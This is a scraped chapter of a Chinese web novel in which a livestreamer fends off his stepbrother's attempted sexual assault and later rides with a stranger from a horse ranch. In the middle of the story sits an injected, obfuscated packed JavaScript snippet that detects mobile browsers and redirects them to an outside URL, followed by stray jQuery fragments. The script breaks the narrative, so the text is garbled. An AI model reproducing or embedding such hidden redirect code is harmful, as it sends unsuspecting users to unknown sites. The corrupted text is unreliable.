直播当天。


    陆南乔把几位舞龙的师傅请进陆家后院搭建的小舞台。


    他架起摄像头开始直播。


    弹幕评论前所未有般热情：


    “乔老婆！等你一个月，可算来了！”


    “那是我老婆！你们注意点！”


    “好恨！为什么我一个banana，总能刷到这种顶级orange！！！啊啊啊啊！”


    “我老婆好美！穿的啥呀？”


    陆南乔手抱红丝绸滚灯，身着斜襟上衣，配套白色灯笼长裤，腰束橘黄武生带，脚踩淡蓝色绣花鞋。


    微笑朝镜头打招呼:“晚上好。”


    “哎呀！乔老婆笑起来好腼腆，还有小酒涡，好可爱！”


    “吸氧吸氧！疯狂吸氧！”


    “乔脑婆，我今天吃面了，你猜是什么面？”


    陆南乔:“什么面？”


    “是好想和你见一面！”


    “咦，楼上好土！”


    “乔！我今天犯错了，你知道是什么错吗？是爱你我不知所措！”


    弹幕随之飘起种各样土味情话。


    ……


    陆南乔没再看弹幕，只认真介绍起曾经风靡南宋的滚灯。


    “大家看一下这个灯，这叫滚灯，用的是毛竹，切成条状，然后……无论怎么翻滚，竹圈内的烛台蜡烛都不会熄灭。”


    十分钟后，院子转角。


    刚从学校回来的陆北笙，倚在转角，饶有兴味顶顶腮帮。


    目不转睛盯着夜幕下跳舞的陆南乔。


    璀璨的烟花中，舞龙翩翩游动，龙头前方，手抱滚灯的男生，穿梭在星碎火光中。


    他抛起滚灯，又稳稳接住。


    整个舞姿灵动翩然，烛光映着那张纯洁无瑕的脸，美得引人注目。


    “好啦，今天的直播就到这吧。”


    陆南乔关掉摄像头，几名舞龙师傅也被家里佣人引出门。


    整个院子只剩下他一人。


    静谧得连呼吸都被百倍放大。


    “哥哥跳得真好看。”


    院中突然响起其他人的声音。


    陆南乔回头，来人是陆闻生和那个女人的亲儿子，陆北笙。


    他自幼就不喜欢这个弟弟。


    话也不回，冷冷绕过陆北笙。


    手臂忽地被拽住，身后人沉声道：“走什么？就这么不想见我？”


    随后甩出两张票：“周末一起去看音乐会吗？我可是抢了好久的，你是喜欢的那位享誉全球的音乐家，什么鬼德莱什么斯的世界巡回音乐会。”


    陆南乔一把甩掉陆北笙的手。


    刚迈出两步，身后人忽地从后面抱住他。


    “反正你又不是我爸亲生的。”


    “要不咱们偷偷谈吧！”


    “你在学校有和别人亲过吗？我还没试过男人的滋味。”


    “陆北笙！说话注意点！”


    “陆南乔，你装什么清高！”


    “放开我！”


    陆南乔猛地把人推开，刚跑出两步，又被人一把拽了回来。


    他不悦挣扎：“放开！”


    陆北笙嗤笑一声：“你让我亲一下，我就放开你！”


    院子有点声响传来。


    陆南乔望向那边走动的几名佣人，呼叫的话音喊出一点。


    嘴，骤然被捂住。


    陆北笙顺势把他压到一旁的树干下：“哥哥叫那么大声，是想让所有人都看见你这幅浪荡模样吗？”


    陆南乔眼睁睁望着几名佣人彻底消失。


    耳畔又是陆北笙的粗言秽语。


    “原来你这么骚的吗？”


    “那我高考报哥哥学校，天天去你宿舍满足你好不好？”


    “滚！”


    “我的好哥哥，我妈让你害得现在还躺着起不来，你不该补偿我一下吗？”


    “她是自作自受。”


    “这小嘴真能说，就该用东西堵起来。”


    “用什么好呢。”


    陆北笙解开校服裤头，“不如就用——”


    “唔！”


    下方突然被一个强有力的膝盖顶到。


    痛得他滚在地上呻吟。


    “啊啊啊……”


    “陆南乔你你你你！你竟然敢！”


    “妈！啊啊好痛啊！！”


    地上，陆北笙脸红脖子粗，额头青筋骤现，捂紧□□骂着些污秽话。


    这幕引来不少人围观。


    终于，陆闻生不疾不徐出现，阴沉着脸问：“怎么回事？”


    陆闻生向来是严父角色。


    陆北笙见状，也不敢再胡言乱语。


    他佯装委屈嘟囔句:“是我哥，不小心撞到我而已。”


    “确定？”


    氛围一时微妙。


    显然，陆闻生不信这套说辞。


    “南乔，你说。”


    忽地被点名的陆南乔，骤然对上陆闻生的目光，而那人似乎微微怔住。


    半晌后吐出句：“真像。”


    “爸，你说什么真相？”陆北笙也是听得懵懵然，他艰辛爬起来问了句。


    “自己去领罚。”


    “我——”


    “顶嘴？双倍。”


    陆北笙：“……”


    碍于陆闻生的威严，他最终不敢多言，只是路过陆南乔时，恶狠狠低骂了句：“陆南乔，我记住了！”


    陆南乔垂着眼，暗暗攥紧五指。


    果然，陆家不能久待。


    东西也没收拾完，便借口明日有早课，一秒也不想多留跑回宿舍。


    *


    京都大学，男生宿舍四人寝间。


    学校内大多数都是权贵子弟，富贵人家，基本不住宿。


    宿舍空着是常态。


    陆南乔推开宿舍，发现裴年也在，不亚于看到火山爆发之震惊。


    裴年见陆南乔气喘吁吁跑进宿舍，不由得调侃道：“你怎么了？有狗追你吗？”


    “还是半路遇到坏人？”


    许是跑得急，许是委屈，又许是这两日经历的事情让人心力交瘁，被这么一关心，陆南乔不由得眼眶泛红。


    他微微抽抽鼻子别开头：“没事。”


    陆南乔的声音极尽可能地平静，裴年却还听出微弱的哭腔。


    他正色问：“不会真有人欺负你吧？跟班长说！班长给你出气！”


    “我……”


    陆南乔欲言又止，反问：“你今天怎么也在宿舍？”


    “我那个。”


    裴年讪讪笑笑：“家里催我和联姻对象见面，我不想去，借口说学校有事忙。”


    “不能直接拒绝？”


    “我倒是想，可我羽翼未满，哪有那个底气拒绝。”


    “原来。”陆南乔了然点头。


    裴家太子爷固然身份显赫，却连自己婚姻之事都无法左右，又如何助他对抗陆家。


    如果没发现书房那个监控，没发现那些被收集的旧物，他怕是会被这所谓的父爱感动，当然，他的感情不会逾矩不会变质。


    只是敬重，仅此而已。


    但，真相早已剥茧抽丝般涌现。


    他恍惚明白，一切都太刻意了，刻意到很难令他不怀疑，有人在暗中策划。


    幕后之主是谁，也不言而喻。


    整个京圈都有陆家的眼线，他也逃不出陆闻生的掌心。


    他更不觉得陆闻生愿意放手，否则也不会将他养在身边多年，大费周章布这么一盘棋。


    陆南乔手里把玩着美工刀。


    静静审视桌面那方镜子，难道要把这张酷似生母的脸划花？


    可是划花又如何？


    他到底是与母亲血脉相连的孩子，他们甚至气质与爱好都高度一致，简直就是自家母亲的性转版。


    他也不傻得彻底，早就私底下打听过出一些秘闻。


    陆闻生与他母亲，有一段爱而不得的故事。


    得不到自己的白月光。


    便想拥有一个血脉相连的替身。


    陆闻生，不会放过他的。


    陆南乔身心俱疲趴下，这一刻，似乎陷进死胡同。


    他到底该怎么办？


    *


    次日。


    陆南乔坐着裴年的车来到处马场。


    他虽身心乏力，可先前曾约定过要来拜访的事情，绝不能搁置。


    否则便太过失礼失信。


    今日的拜访的大师是为下一个拍摄主题“醒狮”做准备。


    短时间学会醒狮并且上台表演是不可能的，但做个醒狮酥倒是可以一试。


    届时再配上一段舞狮大家的采访剪成视频，想来效果不错。


    他之前有托人找到位醒狮传承人，可惜那人不想接受采访，他几经周折又找到一位据传对醒狮文化颇有研究的学者。


    便约定今日上门拜访。


    但他万万没想到，自己竟被拒之门外。


    “我是有过预约的。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000303|161745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “抱歉，这边没看到你的登记。”


    助理冷眼开口：“您回去吧，我们严老很忙，不见没登记的访客。”


    “我真的有预约。”


    “抱歉，请回。”


    “我——”


    “你再无理取闹，我要叫保安了。”


    “南乔，怎么在这？”


    恍惚间，传来第三道声音。


    助理闻声回头，刚才的傲慢姿态全然消失，转而堆出恭维的笑，低头哈腰：“哟！陆总，您怎么来了？”


    “找朋友。”


    “您找严老？这边请。”


    陆闻生偏头看看陆南乔：“走吧。”


    一旁的助理：“……”


    他目瞪口呆愣住。


    敢情这位小年轻竟然与陆总认识，关系似乎也匪浅。


    生怕自己被记仇，饭碗不保，领着人进去后，他一换先前嘴脸，对陆南乔嘘寒问暖。


    恐防把人怠慢了。


    助理：“陆总在换骑马的装备，您也换一下装备吧，严老等下要去马场内骑马。”


    “这个颜色合适吗？”


    “还是我再给您找点别的样式？”


    “都行。”陆南乔倒是没与人计较什么，他只需要一个采访。


    接过装备后，他被助理引进最里面的那间豪华更衣间。


    里面似乎还有人在交流。


    “陆总怎么带了个小年轻来？新欢？”


    “嗬。”


    ……


    陆南乔倏然顿住脚步。


    后面的对话听得人越发胆战心惊。


    刚摘下的隐形眼镜都没来得及戴，他就已急匆匆跑走。


    转角处，张皇失措的人一头撞进个清冷的胸膛。


    淡淡的檀木清香飘进呼吸。


    陆南乔抬头，壁灯刺眼，照得眼睛有点涩，溢出点生理性泪水。


    他眨眨雾气朦胧的眸。


    眼前人面容模糊，瞧得不真切。


    陆南乔眯着眼：“抱歉。”头也不回地落荒而逃。


    马场太大，好不容易跑出大门，却又迷了路。


    裴年说下午会开车来接他，现在时间未到，终归不好意中途打扰别人。


    陆南乔等了半天，也不见有车路过此地，他点开打车软件叫车，足足十几分钟才有人接单。


    可车，却迟迟未出现。


    他手机也没电关机了。


    陆南乔叹息，只盼着司机能找到他的定位。


    半个小时后。


    一辆车缓缓驶来。


    陆南乔惊喜朝着那车招招手。


    黑色轿车似在迟疑，终是停下。


    陆南乔弯身轻轻敲敲车窗：“师傅，我打你电话打不通，我手机也没电了。”


    “抱歉啊！”


    顾修远摇下车窗，淡淡扫了眼窗外人，恰好听到那句嘀咕：“车门怎么打不开。”


    “咦？”


    陆南乔狐疑拉拉车门，还是打不开。


    “司机大哥，你车门坏——”


    哒一声，门开。


    陆南乔微窘收下余音坐进副驾驶。


    檀木清香悠悠萦绕在车内。


    闻得人微微晃神。


    车子却一直未发动。


    又过了两分钟，旁边的男人还是没有开车的意思。


    陆南乔终于按捺不住，歪头问了句：“还不开车吗？”


    闻言。


    男人清冷的眉宇才有丝松动。


    顾修远侧头。


    两人刹那对视。


    陆南乔盯着那模糊的脸庞，忽地听到“叩叩”的两声。


    他一低头，是那人敲了敲安全带的扣子。


    “安全带。”


    浅淡的嗓音落在车内。


    陆南乔：“……”


    他尴尬挠挠脖子，即刻扣好。


    那人又问：“地址。”


    “软件上不是……”陆南乔抿唇顿顿，这位司机大哥沉默寡言，浑身气息冷得骇人，貌似脾气不好，怕是会打人。


    他话音拐了拐道：“京都大学。”


    “嗯。”


    想了想，又补充道：“谢谢。”


    车内静得诡异，陆南乔沉默又尴尬缩在副驾驶位，度秒如年。


    终于，车子停在京都大学门口。


    陆南乔如释重负吐气，推开车门逃离这片骇人的磁场，迈出的腿还未够着地面，身后忽地传来阵清冷话音——


    “马场打不到车。”